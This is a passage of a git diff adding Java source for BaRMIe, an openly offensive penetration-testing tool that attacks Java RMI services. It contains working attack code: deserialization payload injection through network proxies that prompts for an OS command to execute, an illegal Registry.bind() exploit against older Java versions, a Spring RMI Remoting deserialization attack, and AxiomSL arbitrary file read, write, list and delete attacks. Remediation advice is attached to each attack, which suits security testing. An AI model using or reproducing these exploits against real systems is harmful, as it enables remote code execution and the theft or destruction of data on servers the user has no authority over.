+ ArrayList attacks = new ArrayList(); + + //Find all RMI attacks that can target the given endpoint + for(RMIAttack a: _attacks) { + if(a.canAttackEndpoint(ep)) { + attacks.add(a); + } + } + + //Return the list of attacks for the given endpoint + return attacks; + } +} diff --git a/src/nb/barmie/modes/attack/RMIDeserAttack.java b/src/nb/barmie/modes/attack/RMIDeserAttack.java new file mode 100644 index 0000000..19f475e --- /dev/null +++ b/src/nb/barmie/modes/attack/RMIDeserAttack.java @@ -0,0 +1,271 @@ +package nb.barmie.modes.attack; + +import java.io.IOException; +import java.io.InvalidClassException; +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.rmi.NotBoundException; +import java.rmi.RemoteException; +import java.rmi.ServerError; +import java.rmi.ServerException; +import java.rmi.UnmarshalException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.exceptions.BaRMIeGetObjectException; +import nb.barmie.exceptions.BaRMIeUnsupportedException; +import nb.barmie.modes.enumeration.RMIEndpoint; +import nb.barmie.net.proxy.RMIObjectProxy; +import nb.barmie.net.proxy.RMIObjectUIDFixingProxy; + +/*********************************************************** + * Abstract base class for RMI deserialization attacks. + * + * Use this as a base class for RMI attacks which target + * deserialization. For example calling a remote method + * that accepts an arbitrary Object as a parameter. + * + * The helper methods of this class retrieve RMI objects + * that are fully proxied so that remote method + * invocations can be modified as they pass over the + * network in order to inject deserialization payloads. In + * addition to this, the helper methods will also set up + * local port forwarding automatically (in order to access + * remote objects that are bound to local host), and + * handle falsifying of remote serialVersionUID values so + * that they match local values (ensuring compatibility + * with classes that Java considers to be incompatible). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public abstract class RMIDeserAttack extends RMIAttack { + /******************* + * Default payload marker - pass this to a remote method to indicate where + * to inject the deserialization payload. + ******************/ + protected final String DEFAULT_MARKER_OBJECT = "BARMIE_PAYLOAD_MARKER"; + protected final byte[] DEFAULT_MARKER_OBJECT_BYTES = { + (byte)0x74, (byte)0x00, (byte)0x15, (byte)0x42, (byte)0x41, (byte)0x52, (byte)0x4d, (byte)0x49, (byte)0x45, + (byte)0x5f, (byte)0x50, (byte)0x41, (byte)0x59, (byte)0x4c, (byte)0x4f, (byte)0x41, (byte)0x44, (byte)0x5f, + (byte)0x4d, (byte)0x41, (byte)0x52, (byte)0x4b, (byte)0x45, (byte)0x52 + }; + + /******************* + * Default constructor, delegate to super constructor and then mark this + * attack as a deserialization attack. + ******************/ + public RMIDeserAttack() { + super(); + this.setIsDeserAttack(true); + } + + /******************* + * Deserialization attacks require a deserialization payload so this method + * is not supported. + * + * @param ep The enumerated RMI endpoint. + ******************/ + public void executeAttack(RMIEndpoint ep) throws BaRMIeException { + throw new BaRMIeUnsupportedException("Cannot execute an RMIDeserAttack without a deserialization payload, call executeAttack(RMIEndpoint, DeserPayload) instead."); + } + + /******************* + * Execute the deserialization attack against the given RMI endpoint using + * the given payload. + * + * This method automatically asks for a payload command to execute. + * + * @param ep The enumerated RMI endpoint. + * @param payload The DeserPayload to use in the attack. + ******************/ + public void executeAttack(RMIEndpoint ep, DeserPayload payload) throws BaRMIeException { + String payloadCmd; + + //Ask the user for a command to execute + payloadCmd = this.promptUserForInput("Enter an OS command to execute: ", false); + + //Pass the payload command on + this.executeAttack(ep, payload, payloadCmd); + } + + /******************* + * Execute the deserialization attack against the given RMI endpoint using + * the given payload and command. + * + * It is the responsibility of the subclass to prompt the user for any + * attack-specific parameters. + * + * @param ep The enumerated RMI endpoint. + * @param payload The DeserPayload to use in the attack. + * @param cmd The command to use for payload generation. + ******************/ + public abstract void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException; + + /******************* + * Retrieve a proxied remote object reference. + * + * When a remote method call is invoked on the returned object, the call + * passes through a proxy which will replace DEFAULT_MARKER_OBJECT_BYTES + * with the given payload bytes, in order to trigger object + * deserialization. + * + * @param ep An enumerated RMI endpoint. + * @param name The name of the remote object to retrieve. + * @param payload The raw bytes of the deserialization payload to use. + * @return A fully-proxied remote object reference. + ******************/ + protected final Object getProxiedObject(RMIEndpoint ep, String name, byte[] payload) throws BaRMIeException { + return this.getProxiedObject(ep, name, payload, this.DEFAULT_MARKER_OBJECT_BYTES); + } + + /******************* + * Retrieve a proxied remote object reference. + * + * When a remote method call is invoked on the returned object, the call + * passes through a proxy which will replace the given marker bytes with + * the given payload bytes, in order to trigger object + * deserialization. + * + * @param ep An enumerated RMI endpoint. + * @param name The name of the remote object to retrieve. + * @param payload The raw bytes of the deserialization payload to use. + * @param marker The bytes that the method call proxy should replace with the payload bytes. + * @return A fully-proxied remote object reference. + ******************/ + protected final Object getProxiedObject(RMIEndpoint ep, String name, byte[] payload, byte[] marker) throws BaRMIeException { + RMIObjectProxy objProxy; + Registry reg; + Object obj; + + //Start port forwarding if necessary + this.startPortForwarding(ep, name); + + //Start an RMI object proxy to enable proxying of remote object references + try { + objProxy = new RMIObjectProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload, marker); + objProxy.startProxy(); + } catch(UnknownHostException uhe) { + throw new BaRMIeGetObjectException("Failed to start RMI object proxy, unknown RMI registry host.", uhe); + } + this._proxies.add(objProxy); + + //Retrieve a proxied RMI registry instance + try { + reg = LocateRegistry.getRegistry(objProxy.getServerListenAddress().getHostAddress(), objProxy.getServerListenPort()); + } catch(RemoteException re) { + throw new BaRMIeGetObjectException("Failed to acquire a proxied RMI registry reference.", re); + } + + //Lookup the target remote object + try { + obj = reg.lookup(name); + } catch(UnmarshalException ue) { + //An Unmarshal exception might occur if the local class has a different serialVersionUID to the remote one, use a hack to modify the serialVersionUID if this is the case... + if(ue.getCause() instanceof InvalidClassException && ue.getCause().toString().contains("local class incompatible: stream classdesc serialVersionUID = ")) { + //Kill the proxy we started, the hack method will create an alternative proxy chain + objProxy.stopProxy(true); + + //Attempt to get the object again, this time using a hack to fix the serialVersionUID field + obj = this.getProxiedObjectWithUIDHack(ep, name, payload, marker); + } else { + //Unknown exception + throw new BaRMIeGetObjectException("Failed to lookup the object '" + name + "'.", ue); + } + } catch(NotBoundException nbe) { + throw new BaRMIeGetObjectException("The requested remote object was not bound.", nbe); + } catch(RemoteException re) { + throw new BaRMIeGetObjectException("Failed to lookup remote object.", re); + } + + //Done, return the proxied object reference + return obj; + } + + /******************* + * Chain a full RMI proxy to a serialVersionUID fixing proxy in order to + * retrieve a fully proxied remote object reference even if the + * serialVersionUID does not match that of the local class. + * + * @param ep An enumerated RMI endpoint. + * @param name The name of the object to look up. + * @param payload The raw bytes of the deserialization payload to use. + * @param marker The bytes that the method call proxy should replace with the payload bytes. + * @return The remote object reference. + ******************/ + private final Object getProxiedObjectWithUIDHack(RMIEndpoint ep, String name, byte[] payload, byte[] marker) throws BaRMIeException { + RMIObjectUIDFixingProxy uidFixer = null; + RMIObjectProxy objProxy; + Registry reg; + Object obj = null; + + try { + //Start a UID fixing proxy + uidFixer = new RMIObjectUIDFixingProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options); + uidFixer.startProxy(); + this._proxies.add(uidFixer); + + //Start an RMI object proxy and chain it to the UID fixing proxy + objProxy = new RMIObjectProxy(uidFixer.getServerListenAddress(), uidFixer.getServerListenPort(), this._options, payload, marker); + objProxy.startProxy(); + this._proxies.add(objProxy); + + //Retrieve a proxied RMI registry instance + reg = LocateRegistry.getRegistry(objProxy.getServerListenAddress().getHostAddress(), objProxy.getServerListenPort()); + + //Lookup the target remote object + obj = reg.lookup(name); + } catch(Exception ex) { + throw new BaRMIeGetObjectException("Failed to retrieve proxied object using serialVersionUID hack.", ex); + } + + //Return the remote object + return obj; + } + + /******************* + * Helper method which checks exceptions triggered by a deserialization + * attacks and attempts to provide additional output to guide the user. + * + * If a ServerException was caused by a ClassNotFoundException then we can + * safely assume that the chosen gadget chain is not available on the + * server. + * + * If a ServerError was caused by an IOException which has "Cannot run + * program" in the message then we can safely assume that the chosen gadget + * chain is present, but the command wasn't available. + * + * @param ex + ******************/ + protected final void checkDeserException(Throwable t) { + boolean responded = false; + + //Check for server-side ClassNotFoundException, indicating that the payload is no use + if(t instanceof ServerException) { + while(t.getCause() != null) { + t = t.getCause(); + if(t instanceof ClassNotFoundException) { + System.out.println("\n[-] The chosen deserialization payload is not available at the server side."); + responded = true; + break; + } + } + } + + //Check for server-side IOException saying that the program could not be run, indicating a successful attack but unavailable target program + if(t instanceof ServerError) { + while(t.getCause() != null) { + t = t.getCause(); + if(t instanceof IOException && t.getMessage().contains("Cannot run program")) { + System.out.println("\n[+] The attack was successful, however the chosen command was not available."); + responded = true; + break; + } + } + } + + //Print generic response if we can't work anything out from the exception + if(responded == false) { + System.out.println("\n[~] Attack completed but success could not be verified."); + } + } +} diff --git a/src/nb/barmie/modes/attack/RMITargetData.java b/src/nb/barmie/modes/attack/RMITargetData.java new file mode 100644 index 0000000..27a2221 --- /dev/null +++ b/src/nb/barmie/modes/attack/RMITargetData.java @@ -0,0 +1,116 @@ +package nb.barmie.modes.attack; + +import java.util.ArrayList; +import java.util.Collections; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * Container class for RMI target data - contains an RMI + * endpoint along with any RMI attacks and deserialization + * payloads that apply to the endpoint. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMITargetData { + /******************* + * Properties + ******************/ + private RMIEndpoint _endpoint; //The RMI endpoint + private ArrayList _attacks; //EMI attacks affecting this endpoint + private ArrayList _payloads; //Deserialization payloads affecting this endpoint + + /******************* + * Initialise the RMITargetData object based on enumeration results. + * + * @param endpoint The enumerated RMI endpoint. + ******************/ + public RMITargetData(RMIEndpoint endpoint) { + this._endpoint = endpoint; + this._attacks = RMIAttackFactory.findAttacksForEndpoint(this._endpoint); + this._payloads = DeserPayloadFactory.findGadgetsForEndpoint(this._endpoint); + + //Sort the available attacks + Collections.sort(this._attacks); + } + + /******************* + * Check if we have any supported attacks for the endpoint. + * + * @return True if we have attacks for the endpoint. + ******************/ + public boolean hasSupportedAttacks() { + return (this._attacks.size() > 0); + } + + /******************* + * Check if any of the supported attacks for this endpoint are + * deserialization attacks. + * + * @return True if any of the attacks for this endpoint are deserialization attacks. + ******************/ + public boolean hasDeserializationAttacks() { + for(RMIAttack a: this._attacks) { + if(a.isDeserAttack() == true) { + return true; + } + } + return false; + } + + /******************* + * Check if we have any deserialization payloads that likely affect this + * endpoint (based on leaked CLASSPATH data). + * + * @return True if we have any deserialization payloads affecting this endpoint. + ******************/ + public boolean hasAffectedLibs() { + return (this._payloads.size() > 0); + } + + /******************* + * Return a string representation of this target. + * + * The output includes the host:port, reliability of the best available + * attack, and states whether known deserialization attacks and payloads + * were identified. + * + * @return A string describing the target and available attacks/payloads. + ******************/ + public String getDetailString() { + String out; + + //Host and port + out = this._endpoint.getEndpoint().toString(); + + //Attack details + if(this._attacks.size() > 0) { + //Add reliability of best attack + out += " Reliability " + this._attacks.get(0).getReliabilityIndicator(); + + //Add details of available deserialization attacks/payloads + out += ", Deser attack "; + if(this.hasDeserializationAttacks() == true) { + out += "[Y], payload "; + if(this.hasAffectedLibs() == true) { + out += "[Y]"; + } else { + out += "[?]"; //Question mark as deserialization payloads cannot always be detected + } + } else { + out += "[N]"; + } + } else { + out += " No attacks available."; + } + + //Return the target details + return out; + } + + /******************* + * Getters + ******************/ + public RMIEndpoint getEndpoint() { return this._endpoint; } + public ArrayList getAttacks() { return this._attacks; } + public ArrayList getDeserPayloads() { return this._payloads; } +} diff --git a/src/nb/barmie/modes/attack/attacks/Axiom/DeleteFile.java b/src/nb/barmie/modes/attack/attacks/Axiom/DeleteFile.java new file mode 100644 index 0000000..f0e98c8 --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/Axiom/DeleteFile.java @@ -0,0 +1,66 @@ +package nb.barmie.modes.attack.attacks.Axiom; + +import axiomsl.server.rmi.FileBrowserStub; +import axiomsl.server.rmi.FileInformation; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; +import nb.barmie.modes.attack.RMIAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * Delete arbitrary files from a server running AxiomSL. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class DeleteFile extends RMIAttack { + /******************* + * Set attack properties + ******************/ + public DeleteFile() { + super(); + this.setDescription("AxiomSL arbitrary file delete"); + this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a deleteFile() method that deletes the file at the given path."); + this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); + } + + /******************* + * Attack the endpoint. + * + * @param ep An enumerated RMI endpoint. + ******************/ + public void executeAttack(RMIEndpoint ep) throws BaRMIeException { + FileBrowserStub fbs; + String filename; + + //Ask the user for a filename to delete + filename = this.promptUserForInput("Enter a filename to delete: ", false); + System.out.println(""); + + //Get the fileBrowser object from the endpoint + System.out.println("[~] Getting fileBrowser object..."); + fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); + + //Attempt to delete the file + try { + System.out.println("[+] Retrieved, attempting to delete the file..."); + if(fbs.deleteFile(filename, false) == true) { + System.out.println("[+] File deleted successfully"); + } else { + System.out.println("[-] File delete failed."); + } + } catch(Exception re) { + //Failed to delte the file from the target + throw new BaRMIeRemoteMethodCallException("Failed to delete the remote file.", re); + } + } +} diff --git a/src/nb/barmie/modes/attack/attacks/Axiom/ListFiles.java b/src/nb/barmie/modes/attack/attacks/Axiom/ListFiles.java new file mode 100644 index 0000000..b51474b --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/Axiom/ListFiles.java @@ -0,0 +1,76 @@ +package nb.barmie.modes.attack.attacks.Axiom; + +import axiomsl.server.rmi.FileBrowserStub; +import axiomsl.server.rmi.FileInformation; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; +import nb.barmie.modes.attack.RMIAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * List files in a given directory on a server running + * AxiomSL. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ListFiles extends RMIAttack { + /******************* + * Set attack properties + ******************/ + public ListFiles() { + super(); + this.setDescription("AxiomSL list files in directory"); + this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a listFiles() method that returns a list of files in a given directory."); + this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); + } + + /******************* + * Attack the endpoint. + * + * @param ep An enumerated RMI endpoint. + ******************/ + public void executeAttack(RMIEndpoint ep) throws BaRMIeException { + FileBrowserStub fbs; + FileInformation[] files; + String path; + + //Ask the user for a directory to list files from + path = this.promptUserForInput("Enter a path to list files from: ", false); + System.out.println(""); + + //Get the fileBrowser object from the endpoint + System.out.println("[~] Getting fileBrowser object..."); + fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); + + //Attempt to list files + try { + System.out.println("[+] Retrieved, attempting to list files..."); + files = fbs.listFilesOnServer(path); + if(files != null) { + System.out.println("[+] Found " + files.length + " files:"); + for(FileInformation fi: files) { + if(fi.bIsDirectory == true) { + System.out.println(" [+] " + fi.sFileName + "/"); + } else { + System.out.println(" [+] " + fi.sFileName); + } + } + } else { + System.out.println("[-] No file information returned"); + } + } catch(Exception re) { + //Failed to delte the file from the target + throw new BaRMIeRemoteMethodCallException("Failed to delete the remote file.", re); + } + } +} diff --git a/src/nb/barmie/modes/attack/attacks/Axiom/ReadFile.java b/src/nb/barmie/modes/attack/attacks/Axiom/ReadFile.java new file mode 100644 index 0000000..15ccc6f --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/Axiom/ReadFile.java @@ -0,0 +1,88 @@ +package nb.barmie.modes.attack.attacks.Axiom; + +import axiomsl.server.rmi.FileBrowserStub; +import axiomsl.server.rmi.FileInformation; +import java.rmi.RemoteException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; +import nb.barmie.modes.attack.RMIAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * Read arbitrary files from a server running AxiomSL. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ReadFile extends RMIAttack { + /******************* + * Set attack properties + ******************/ + public ReadFile() { + super(); + this.setDescription("AxiomSL arbitrary file read"); + this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a readFile() method that returns the contents of the file at the given path."); + this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); + } + + /******************* + * Attack the endpoint. + * + * @param ep An enumerated RMI endpoint. + ******************/ + public void executeAttack(RMIEndpoint ep) throws BaRMIeException { + FileBrowserStub fbs; + FileInformation fi; + String srcFilename; + String dstFilename; + byte[] contents; + + //Ask the user for a filename to read + srcFilename = this.promptUserForInput("Enter a filename to read: ", false); + + //Ask the user for a destination filename to write the file contents to + dstFilename = this.promptUserForInput("Enter a path to save the file to: ", false); + System.out.println(""); + + //Get the fileBrowser object from the endpoint + System.out.println("[~] Getting fileBrowser object..."); + fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); + + //Attempt to read the file and save the contents locally + try { + System.out.println("[+] Retrieved, getting file information..."); + fi = fbs.getFileInformation(srcFilename); + if(fi.bExists == true && fi.lSize > 0) { + System.out.println("[+] File exists, size: " + fi.lSize); + contents = fbs.readFile(srcFilename, 0, (int)fi.lSize); + if(contents != null) { + System.out.println("[+] File retrieved, writing local file..."); + this.writeFile(dstFilename, contents); + } else { + System.out.println("[-] No data returned"); + } + } else { + System.out.println("[-] The file does not exist on the server."); + } + } catch(Exception re) { + //Failed to read the file from the target + throw new BaRMIeRemoteMethodCallException("Failed to read the remote file.", re); + } + + //Verify presence of downloaded file + if(this.fileExists(dstFilename)) { + System.out.println("[+] Requested file has been downloaded."); + } else { + System.out.println("[-] Something went wrong whilst attempting to download the file."); + } + } +} diff --git a/src/nb/barmie/modes/attack/attacks/Axiom/WriteFile.java b/src/nb/barmie/modes/attack/attacks/Axiom/WriteFile.java new file mode 100644 index 0000000..dae6d79 --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/Axiom/WriteFile.java @@ -0,0 +1,88 @@ +package nb.barmie.modes.attack.attacks.Axiom; + +import axiomsl.server.rmi.FileBrowserStub; +import axiomsl.server.rmi.FileInformation; +import java.io.File; +import java.io.FileInputStream; +import nb.barmie.exceptions.BaRMIeAttackException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; +import nb.barmie.modes.attack.RMIAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * Write a fie to a server running AxiomSL. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class WriteFile extends RMIAttack { + /******************* + * Set attack properties + ******************/ + public WriteFile() { + super(); + this.setDescription("AxiomSL arbitrary file write"); + this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a writeFile() method that writes the given data to the given path."); + this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); + } + + /******************* + * Attack the endpoint. + * + * @param ep An enumerated RMI endpoint. + ******************/ + public void executeAttack(RMIEndpoint ep) throws BaRMIeException { + FileInputStream fis; + FileBrowserStub fbs; + FileInformation fi; + String srcFilename; + String dstFilename; + byte[] contents; + + //Ask the user for a filename to upload + srcFilename = this.promptUserForInput("Enter a local file to upload: ", false); + + //Ask the user for a destination filename + dstFilename = this.promptUserForInput("Enter a remote path to save the file to: ", false); + System.out.println(""); + + //Get the fileBrowser object from the endpoint + System.out.println("[~] Getting fileBrowser object..."); + fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); + + //Read the contents of the local file + try { + fis = new FileInputStream(srcFilename); + contents = new byte[(int)new File(srcFilename).length()]; + fis.read(contents, 0, contents.length); + fis.close(); + } catch(Exception ex) { + throw new BaRMIeAttackException("Unable to read the given local file ('" + srcFilename + "').", ex); + } + + //Attempt to write the file to the server + try { + System.out.println("[+] Retrieved, attempting to write remote file..."); + fbs.writeFile(dstFilename, contents); + fi = fbs.getFileInformation(dstFilename); + if(fi.bExists == true) { + System.out.println("[+] The file appears to have been written successfully."); + } else { + System.out.println("[-] Failed to write the file to the server."); + } + } catch(Exception re) { + //Failed to write the file to the target + throw new BaRMIeRemoteMethodCallException("Failed to write the file to the server.", re); + } + } +} diff --git a/src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java b/src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java new file mode 100644 index 0000000..ae65e99 --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java @@ -0,0 +1,155 @@ +package nb.barmie.modes.attack.attacks.Java; + +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InvalidClassException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.rmi.AlreadyBoundException; +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.ServerException; +import java.rmi.UnmarshalException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.ArrayList; +import java.util.HashSet; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; +import nb.barmie.modes.attack.RMIDeserAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; +import nb.barmie.net.proxy.RMIBindExploitProxy; + +/*********************************************************** + * Deliver a deserialization payload to an RMI registry via + * the Registry.bind() method. + * + * Affects Java 6u131, 7u121, 8u112 and below, along with + * JRockit R28.3.12 and below. + * + * This attack works by using a TCP proxy to issue an + * illegal call to Registry.bind() by modifying the method + * parameters as the pass through the proxy and injecting + * a deserialization payload. + * + * Requires POP gadgets to be available on the CLASSPATH + * of the RMI registry service. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class IllegalRegistryBind extends RMIDeserAttack { + /******************* + * Dummy payload used to test for vulnerable targets. + ******************/ + private final byte[] _dummyPayload = { + (byte)0x73, (byte)0x72, (byte)0x00, (byte)0x10, (byte)0x6a, (byte)0x61, (byte)0x76, (byte)0x61, (byte)0x2e, (byte)0x6c, (byte)0x61, (byte)0x6e, (byte)0x67, (byte)0x2e, (byte)0x4f, (byte)0x62, (byte)0x6a, + (byte)0x65, (byte)0x63, (byte)0x74, (byte)0x12, (byte)0xe2, (byte)0xa0, (byte)0xa4, (byte)0xf7, (byte)0x81, (byte)0x87, (byte)0x38, (byte)0x02, (byte)0x00, (byte)0x00, (byte)0x70, (byte)0x78, (byte)0x70 + }; + + /******************* + * Dummy class implementing java.rmi.Remote which we use to make a valid + * call to Registry.bind(). + * + * The actual attack and payload injection occurs within the class + * BindPayloadInjectingProxyThread. + ******************/ + private static class BaRMIeBindExploit implements Remote, Serializable { + } + + /******************* + * Set attack properties. + ******************/ + public IllegalRegistryBind() { + super(); + this.setDescription("Java RMI registry illegal bind deserialization"); + this.setDetailedDescription("Java version 6u131, 7u121, 8u121 and below, and JRockit R28.3.12 and below do not validate the types of the parameter to the RMI Registry.bind() method at the server side prior to deserializing them. This enables us to inject a deserialization payload at the network level by replacing either parameter to bind() with a payload object."); + this.setRemediationAdvice("[Java] Update to Java 6u141, Java 7u131, Java 8u121, JRockit R28.3.13 or greater."); + this.setAppSpecific(false); + this.setRequiresNonDefaultDependency(true); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * This check is performed by executing a dummy attack against the + * endpoint and observing the resulting exception. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + RMIBindExploitProxy proxy = null; + Registry reg; + + //Execute a dummy attack + try { + //Start a bind exploit proxy + proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload); + proxy.startProxy(); + + //Get a proxied RMI registry reference + reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); + + //Bind a dummy object in an attempt to trigger the vulnerability + reg.bind(this.generateRandomString(), new BaRMIeBindExploit()); + } catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) { + //An up to date RMI registry will, by default, reject the dummy object + if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) { + //Check for "filter status: REJECTED" + if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) { + //Test payload was filtered, likely this attack isn't possible + return false; + } + } + } finally { + //Stop the proxy + if(proxy != null) { + proxy.stopProxy(true); + } + } + + //In all other cases we should be able to attack the registry + return true; + } + + /******************* + * Execute the deserialization attack against the given RMI endpoint using + * the given payload. + * + * @param ep The enumerated RMI endpoint. + * @param payload The deserialization payload to deliver. + * @param cmd The command to use for payload generation. + ******************/ + public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { + RMIBindExploitProxy proxy = null; + Registry reg; + + //Launch the attack + try { + //Start a bind exploit proxy + System.out.println("[~] Starting RMI registry proxy..."); + proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0)); + proxy.startProxy(); + System.out.println("[+] Proxy started"); + + //Get a proxied RMI registry reference + System.out.println("[~] Getting proxied RMI Registry reference..."); + reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); + + //Bind a dummy object in an attempt to trigger the vulnerability + System.out.println("[~] Calling bind(PAYLOAD, null)..."); + reg.bind(this.generateRandomString(), new BaRMIeBindExploit()); + } catch(Exception ex) { + //Check the exception for useful info + this.checkDeserException(ex); + } finally { + //Stop the proxy + if(proxy != null) { + proxy.stopProxy(true); + } + } + } +} diff --git a/src/nb/barmie/modes/attack/attacks/SpringFramework/RmiInvocationHandlerDeser.java b/src/nb/barmie/modes/attack/attacks/SpringFramework/RmiInvocationHandlerDeser.java new file mode 100644 index 0000000..c46b273 --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/SpringFramework/RmiInvocationHandlerDeser.java @@ -0,0 +1,76 @@ +package nb.barmie.modes.attack.attacks.SpringFramework; + +import java.rmi.registry.Registry; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; +import nb.barmie.modes.attack.RMIDeserAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; +import org.springframework.remoting.rmi.RmiInvocationHandler; +import org.springframework.remoting.support.RemoteInvocation; + +/*********************************************************** + * Deliver a deserialization payload to a Spring RMI + * Remoting endpoint, via an Object-type property of a + * remote method parameter. + * + * Calls RmiInvocationHandler.invoke() with a + * RemoteInvocation object that contains the payload. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RmiInvocationHandlerDeser extends RMIDeserAttack { + /******************* + * Set attack properties. + ******************/ + public RmiInvocationHandlerDeser() { + super(); + this.setDescription("Spring RMI Remoting deserialization"); + this.setDetailedDescription("Spring RMI Remoting exposes a remote class with an invoke() method that accepts a RemoteInvocation object as a parameter. The RemoteInvocation object has a property that can hold any Object, enabling deserialization attacks."); + this.setRemediationAdvice("[Spring Remoting] " + REMEDIATION_NO_FIX); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + return ep.hasClass("org.springframework.remoting.rmi.RmiInvocationHandler"); + } + + /******************* + * Execute the deserialization attack against the given RMI endpoint using + * the given payload. + * + * @param ep The enumerated RMI endpoint. + * @param payload The deserialization payload to deliver. + * @param cmd The command to use for payload generation. + ******************/ + public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { + RmiInvocationHandler rmih; + RemoteInvocation ri; + Registry reg; + String objName; + + //Find an affected object to target + System.out.println("[~] Finding object to target..."); + objName = ep.findObjectWithClass("org.springframework.remoting.rmi.RmiInvocationHandler"); + + //Launch the attack + try { + //Get the fully proxied target object + System.out.println("[~] Getting proxied " + objName + " object..."); + rmih = (RmiInvocationHandler)this.getProxiedObject(ep, objName, payload.getBytes(cmd, 8)); + + //Trigger the attack + System.out.println("[+] Retrieved, invoking invoke() with payload..."); + ri = new RemoteInvocation(); + ri.arguments = new Object[] { this.DEFAULT_MARKER_OBJECT }; + rmih.invoke(ri); + } catch(Exception ex) { + //Check the exception for useful info + this.checkDeserException(ex); + } + } +} diff --git 